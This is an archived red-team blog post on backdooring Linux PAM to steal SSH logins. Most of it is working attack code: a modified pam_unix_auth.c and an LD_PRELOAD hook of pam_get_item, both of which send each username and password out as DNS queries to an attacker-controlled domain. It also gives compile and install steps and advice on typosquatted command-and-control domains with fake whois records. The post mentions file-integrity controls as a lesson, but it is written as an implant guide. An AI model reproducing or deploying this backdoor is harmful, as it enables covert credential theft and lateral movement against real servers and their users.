Exfiltrating credentials via PAM backdoors & DNS requests :: DoomsDay Vault

By DoomsDay Vault

Archived: 2026-04-06 00:28:48 UTC

The Wayback Machine - https://web.archive.org/web/20240303094335/https://x-c3ll.github.io/posts/PAM-backdoor-DNS/

2018-06-27 13:37:00 +0000

Probably one of the most well-known post-explotation techniques used in pentests, and in Red Team operations, is to drop a backdoor in the PAM ecosystem in order to collect valid credentials. The credentials catched by our backdoor will help us to perform easily the lateral movement between machines. We can achieve this though different options.

An interesting twist is to mix up this technique with the classic DNS exfiltration, so we can send the credentials to our C&C without worry about firewalls and traffic rules. We only need to send a DNS request to the DNS server used by the machine, then it will be forwarded to other DNS servers, and at some point the request will hit our Authoritative DNS Server. So we can retrieve silently credentials using this well-known covert channel.

Our roadmap is pretty simple: add a custom PAM module that logs the credential in plaintext and send it to our C&C though a DNS resolution.

As side note: even if this is an old and well-known tactic, it keep being a really cool way to show the needed of file integrity controls. Root a server, wait until an administrator or operator log in via SSH and **enjoy! :)**

0x01 Modifying pam_unix_auth.c

(We are not going to explain what is PAM or how it works. To get a deeper information about PAM, use `man` *).*

In order to retrieve the user and password in clear text we are going to **replace the valid pam_unix.so** module to one modified by us. If we check the source code of the original module (download the source code of the PAM version installed in your target server from here), we can see at the pam_unix_auth.c file a function called pam_sm_authenticate, and inside this function a call to **_unix_verify_password** which arguments are the username and password used in the authentication:

```
// (...)
        /* verify the password of this user */
        retval = _unix_verify_password(pamh, name, p, ctrl);
        name = p = NULL;
```

```
        AUTH_RETURN;
}
// (...)
```

So looks fine to inject our exfiltration logic at this point. As PoC, we can use [this snippet of code (Silver Moon - 29/4/2009)](), so the main exfiltration logic is implemented yet (this code has some bugs -for example it does not take the server IP from resolv.conf-… so if you are going to use it in a real pentest, reimplement the code ;D). Lets vim the pam_unix_auth.c file to add the functions and headers needed!:

```
 /* Fun starts here :)

 * pam_sm_authenticate() performs UNIX/shadow authentication
 *
 *      First, if shadow support is available, attempt to perform
 *      authentication using shadow passwords. If shadow is not
 *      available, or user does not have a shadow password, fallback
 *      onto a normal UNIX authentication
 */
/* Backdoor  - DNS code extracted from https://gist.github.com/fffaraz/9d9170b57791c28ccda9255b48315168 */


// The code sucks a lot. It is Sunday and I have a hangover, so I am not in the mood to fix it.
// Tons of bug and useless code that you should remove. Forgive me, please :)

#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>

//List of DNS Servers registered on the system
char dns_servers[10][100];
int dns_server_count = 0;
//Types of DNS resource records :)

#define T_A 1 //Ipv4 address
#define T_NS 2 //Nameserver
#define T_CNAME 5 // canonical name
#define T_SOA 6 /* start of authority zone */
#define T_PTR 12 /* domain name pointer */
#define T_MX 15 //Mail server

//Function Prototypes
void ngethostbyname (unsigned char* , int);
void ChangetoDnsNameFormat (unsigned char*,unsigned char*);
unsigned char* ReadName (unsigned char*,unsigned char*,int*);
void get_dns_servers();
```

```
//DNS header structure
struct DNS_HEADER
{
    unsigned short id; // identification number

    unsigned char rd :1; // recursion desired
    unsigned char tc :1; // truncated message
    unsigned char aa :1; // authoritive answer
    unsigned char opcode :4; // purpose of message
    unsigned char qr :1; // query/response flag

    unsigned char rcode :4; // response code
    unsigned char cd :1; // checking disabled
    unsigned char ad :1; // authenticated data
    unsigned char z :1; // its z! reserved
    unsigned char ra :1; // recursion available

    unsigned short q_count; // number of question entries
    unsigned short ans_count; // number of answer entries
    unsigned short auth_count; // number of authority entries
    unsigned short add_count; // number of resource entries
};

//Constant sized fields of query structure
struct QUESTION
{
    unsigned short qtype;
    unsigned short qclass;
};

//Constant sized fields of the resource record structure
#pragma pack(push, 1)
struct R_DATA
{
    unsigned short type;
    unsigned short _class;
    unsigned int ttl;
    unsigned short data_len;
};
#pragma pack(pop)

//Pointers to resource record contents
struct RES_RECORD
{
    unsigned char *name;
    struct R_DATA *resource;
```

```
    unsigned char *rdata;
};

//Structure of a Query
typedef struct
{
    unsigned char *name;
    struct QUESTION *ques;
} QUERY;

/*
 * Perform a DNS query by sending a packet
 * */
void ngethostbyname(unsigned char *host , int query_type)
{
    unsigned char buf[65536],*qname,*reader;
    int i , j , stop , s;

    struct sockaddr_in a;

    struct RES_RECORD answers[20],auth[20],addit[20]; //the replies from the DNS server
    struct sockaddr_in dest;

    struct DNS_HEADER *dns = NULL;
    struct QUESTION *qinfo = NULL;

    printf("Resolving %s" , host);

    s = socket(AF_INET , SOCK_DGRAM , IPPROTO_UDP); //UDP packet for DNS queries

    dest.sin_family = AF_INET;
    dest.sin_port = htons(53);
    dest.sin_addr.s_addr = inet_addr(dns_servers[0]); //dns servers

    //Set the DNS structure to standard queries
    dns = (struct DNS_HEADER *)&buf;

    dns->id = (unsigned short) htons(getpid());
    dns->qr = 0; //This is a query
    dns->opcode = 0; //This is a standard query
    dns->aa = 0; //Not Authoritative
    dns->tc = 0; //This message is not truncated
    dns->rd = 1; //Recursion Desired
    dns->ra = 0; //Recursion not available! hey we dont have it (lol)
    dns->z = 0;
    dns->ad = 0;
    dns->cd = 0;
```

```
dns->rcode = 0;
dns->q_count = htons(1); //we have only 1 question
dns->ans_count = 0;
dns->auth_count = 0;
dns->add_count = 0;

//point to the query portion
qname =(unsigned char*)&buf[sizeof(struct DNS_HEADER)];

ChangetoDnsNameFormat(qname , host);
qinfo =(struct QUESTION*)&buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname) + 1)]; //fill it

qinfo->qtype = htons( query_type ); //type of the query , A , MX , CNAME , NS etc
qinfo->qclass = htons(1); //its internet (lol)

printf("\nSending Packet...");
if( sendto(s,(char*)buf,sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)
{
    perror("sendto failed");
}
printf("Done");

//Receive the answer
i = sizeof dest;
printf("\nReceiving answer...");
if(recvfrom (s,(char*)buf , 65536 , 0 , (struct sockaddr*)&dest , (socklen_t*)&i ) < 0)
{
    perror("recvfrom failed");
}
printf("Done");

dns = (struct DNS_HEADER*) buf;

//move ahead of the dns header and the query field
reader = &buf[sizeof(struct DNS_HEADER) + (strlen((const char*)qname)+1) + sizeof(struct QUESTION)];

printf("\nThe response contains : ");
printf("\n %d Questions.",ntohs(dns->q_count));
printf("\n %d Answers.",ntohs(dns->ans_count));
printf("\n %d Authoritative Servers.",ntohs(dns->auth_count));
printf("\n %d Additional records.\n\n",ntohs(dns->add_count));

//Start reading answers
stop=0;

for(i=0;i<ntohs(dns->ans_count);i++)
{
```

```
        answers[i].name=ReadName(reader,buf,&stop);
        reader = reader + stop;

        answers[i].resource = (struct R_DATA*)(reader);
        reader = reader + sizeof(struct R_DATA);

        if(ntohs(answers[i].resource->type) == 1) //if its an ipv4 address
        {
            answers[i].rdata = (unsigned char*)malloc(ntohs(answers[i].resource->data_len));

            for(j=0 ; j<ntohs(answers[i].resource->data_len) ; j++)
            {
                answers[i].rdata[j]=reader[j];
            }

            answers[i].rdata[ntohs(answers[i].resource->data_len)] = '\0';

            reader = reader + ntohs(answers[i].resource->data_len);
        }
        else
        {
            answers[i].rdata = ReadName(reader,buf,&stop);
            reader = reader + stop;
        }
    }

    //read authorities
    for(i=0;i<ntohs(dns->auth_count);i++)
    {
        auth[i].name=ReadName(reader,buf,&stop);
        reader+=stop;

        auth[i].resource=(struct R_DATA*)(reader);
        reader+=sizeof(struct R_DATA);

        auth[i].rdata=ReadName(reader,buf,&stop);
        reader+=stop;
    }

    //read additional
    for(i=0;i<ntohs(dns->add_count);i++)
    {
        addit[i].name=ReadName(reader,buf,&stop);
        reader+=stop;

        addit[i].resource=(struct R_DATA*)(reader);
        reader+=sizeof(struct R_DATA);
```

```
    if(ntohs(addit[i].resource->type)==1)
    {
        addit[i].rdata = (unsigned char*)malloc(ntohs(addit[i].resource->data_len));
        for(j=0;j<ntohs(addit[i].resource->data_len);j++)
        addit[i].rdata[j]=reader[j];

        addit[i].rdata[ntohs(addit[i].resource->data_len)]='\0';
        reader+=ntohs(addit[i].resource->data_len);
    }
    else
    {
        addit[i].rdata=ReadName(reader,buf,&stop);
        reader+=stop;
    }
}

//print answers
printf("\nAnswer Records : %d \n" , ntohs(dns->ans_count) );
for(i=0 ; i < ntohs(dns->ans_count) ; i++)
{
    printf("Name : %s ",answers[i].name);

    if( ntohs(answers[i].resource->type) == T_A) //IPv4 address
    {
        long *p;
        p=(long*)answers[i].rdata;
        a.sin_addr.s_addr=(*p); //working without ntohl
        printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
    }

    if(ntohs(answers[i].resource->type)==5)
    {
        //Canonical name for an alias
        printf("has alias name : %s",answers[i].rdata);
    }

    printf("\n");
}

//print authorities
printf("\nAuthoritive Records : %d \n" , ntohs(dns->auth_count) );
for( i=0 ; i < ntohs(dns->auth_count) ; i++)
{

    printf("Name : %s ",auth[i].name);
    if(ntohs(auth[i].resource->type)==2)
```

```
        {
            printf("has nameserver : %s",auth[i].rdata);
        }
        printf("\n");
    }

    //print additional resource records
    printf("\nAdditional Records : %d \n" , ntohs(dns->add_count) );
    for(i=0; i < ntohs(dns->add_count) ; i++)
    {
        printf("Name : %s ",addit[i].name);
        if(ntohs(addit[i].resource->type)==1)
        {
            long *p;
            p=(long*)addit[i].rdata;
            a.sin_addr.s_addr=(*p);
            printf("has IPv4 address : %s",inet_ntoa(a.sin_addr));
        }
        printf("\n");
    }
    return;
}

/*
 *
 * */
u_char* ReadName(unsigned char* reader,unsigned char* buffer,int* count)
{
    unsigned char *name;
    unsigned int p=0,jumped=0,offset;
    int i , j;

    *count = 1;
    name = (unsigned char*)malloc(256);

    name[0]='\0';

    //read the names in 3www6google3com format
    while(*reader!=0)
    {
        if(*reader>=192)
        {
            offset = (*reader)*256 + *(reader+1) - 49152; //49152 = 11000000 00000000 ;)
            reader = buffer + offset - 1;
            jumped = 1; //we have jumped to another location so counting wont go up!
        }
        else
```

```
        {
            name[p++]=*reader;
        }

        reader = reader+1;

        if(jumped==0)
        {
            *count = *count + 1; //if we havent jumped to another location then we can count up
        }
    }

    name[p]='\0'; //string complete
    if(jumped==1)
    {
        *count = *count + 1; //number of steps we actually moved forward in the packet
    }

    //now convert 3www6google3com0 to www.google.com
    for(i=0;i<(int)strlen((const char*)name);i++)
    {
        p=name[i];
        for(j=0;j<(int)p;j++)
        {
            name[i]=name[i+1];
            i=i+1;
        }
        name[i]='.';
    }
    name[i-1]='\0'; //remove the last dot
    return name;
}

/*
 * Get the DNS servers from /etc/resolv.conf file on Linux
 * */
void get_dns_servers()
{
    FILE *fp;
    char line[200] , *p;
    if((fp = fopen("/etc/resolv.conf" , "r")) == NULL)
    {
        printf("Failed opening /etc/resolv.conf file \n");
    }

    while(fgets(line , 200 , fp))
    {
```

```
        if(line[0] == '#')
        {
            continue;
        }
        if(strncmp(line , "nameserver" , 10) == 0)
        {
            p = strtok(line , " ");
            p = strtok(NULL , " ");

            //p now is the dns ip :)
            //????
        }
    }
    // EDIT THIS. It is a PoC
    strcpy(dns_servers[0] , "127.0.0.1");

}

/*
 * This will convert www.google.com to 3www6google3com
 * got it :)
 * */
void ChangetoDnsNameFormat(unsigned char* dns,unsigned char* host)
{
    int lock = 0 , i;
    strcat((char*)host,".");

    for(i = 0 ; i < strlen((char*)host) ; i++)
    {
        if(host[i]=='.')
        {
            *dns++ = i-lock;
            for(;lock<i;lock++)
            {
                *dns++=host[lock];
            }
            lock++; //or lock=i+1;
        }
    }
    *dns++='\0';
}
#define _UNIX_AUTHTOK  "-UN*X-PASS"
// (...)
```

And, lastly this little edit:

```
 // (...)
/* verify the password of this user */
    retval = _unix_verify_password(pamh, name, p, ctrl);
    unsigned char hostname[100];
    get_dns_servers();
    snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, p); // Change it with your domain
    if (fork() == 0) {
         ngethostbyname(hostname, T_A);
    }
    name = p = NULL;
// (...)
```

Compile the module (./configure && make) and replace the original pam_unix.so with our version, then open a tcpdump / wireshark and log in the machine via SSH:

```
 DNS     96       Standard query 0x6d43  A mothra.RabbitHunt3r.nowhere.local
```

Nice! a DNS request was done, so we can exfiltrate usernames and passwords to an external server controlled by us. But now we have a problem: what happens with uppercase / lowercase / symbols used in passwords? Later in section "**0x03 Communcation with C&C**" we will discuss this point.

0x02 LD_PRELOAD all the things!

In some cases another approach will be needed. If the server performs any type of file integrity check to critical binaries (as pam_unix.so and other modules are) or configuration files, we need to move to the classic LD_PRELOAD tactic. We are going to pre-load a shared object that hooks some functions used by PAM, so we can inject easily our exfiltration logic inside.

Our target function will be **pam_get_item**. When this function is called with the item type PAM_AUTHTOK as argument, it retrieves the authentication token used. We are going to hook this function, so when it is called we are going to call pam_get_user() to retrieve the username, then call the original pam_get_item (to obtain the correct return value and the authentication token), exfiltrate it via DNS and lastly return the value obtained before. Easy peasy!

```
 /* Classic LD_PRELOAD PAM backdoor with DNS exfiltration */
// Author: Juan Manuel Fernandez (@TheXC3LL)

#define _GNU_SOURCE

#include <security/pam_modules.h>
#include <security/pam_ext.h>
#include <security/pam_modutil.h>
#include <stdlib.h>
#include <string.h>
```

```
#include <sys/types.h>
#include <unistd.h>
#include <stdio.h>
#include <dlfcn.h>
#include <sys/stat.h>
#include <signal.h>

// Insert here all the headers and functions needed for the DNS request
//(...)


typedef int (*orig_ftype) (const pam_handle_t *pamh, int item_type,  const void **item);

int pam_get_item(const pam_handle_t *pamh, int item_type, const void **item) {
    int retval;
    int pid;
    const char *name;
    orig_ftype orig_pam;
    orig_pam = (orig_ftype)dlsym(RTLD_NEXT, "pam_get_item");

    // Call original function  so we log password
    retval = orig_pam(pamh, item_type, item);

    // Log credential
    if (item_type == PAM_AUTHTOK && retval == PAM_SUCCESS && *item != NULL) {
                unsigned char hostname[256];
         get_dns_servers();
         pam_get_user((pam_handle_t *)pamh, &name, NULL);
         snprintf(hostname, sizeof(hostname), "%s.%s.nowhere.local", name, *item); // Change it with your domain
         if (fork() == 0) {
                 ngethostbyname(hostname, T_A);
         }
    }

    return retval;
}
```

Compile (`gcc pam_fucked.c -shared -fPIC pam_fucked.so`), stop the SSH daemon and relaunch it with LD_PRELOAD=/../module/location…/.

The use of LD_PRELOAD has few negative side effects, like the needed of restart the daemon, so it can generate other kind of events that can alert the Blue Team. In the other hand, if you are going to restart a critical service as SSH you must operate from a point outside of SSH (maybe a reverse shell) and keep an eye to avoid terminating the current sessions **:)**.

0x03 Communcation with C&C

As we stated before, we need to encode the data that will be exfiltrated (and in a real pentest encrypt this information). The best options are to encode it as hexadecimal (but the size is doubled so it is not the best idea) or as base32 (care with the pad symbol). The C&C must be configured as an authoritative DNS and the best idea is to use a domain typosquatted with a faked whois that simulates real domain used by the company.

You can install a real DNS server, or just create the needed logic using python and **dnslib :)**.

0x04 Final words

I hope you find cool the idea of exfiltrate credentials via a classic covert channel like DNS. It is a really easy way to obtain new credentials in a recently compromised server and conquer other points of the net.

As I always say, if you find a typo or want to comment something, feel free to ping me at twitter (@TheXC3LL).
